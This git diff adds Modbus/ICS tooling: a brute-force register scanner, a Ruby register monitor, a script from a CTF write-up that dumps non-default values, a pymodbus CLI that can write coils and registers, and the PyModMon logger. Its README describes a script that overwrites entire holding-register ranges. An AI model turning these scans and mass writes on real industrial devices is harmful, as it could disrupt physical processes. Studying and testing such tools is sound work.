args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + 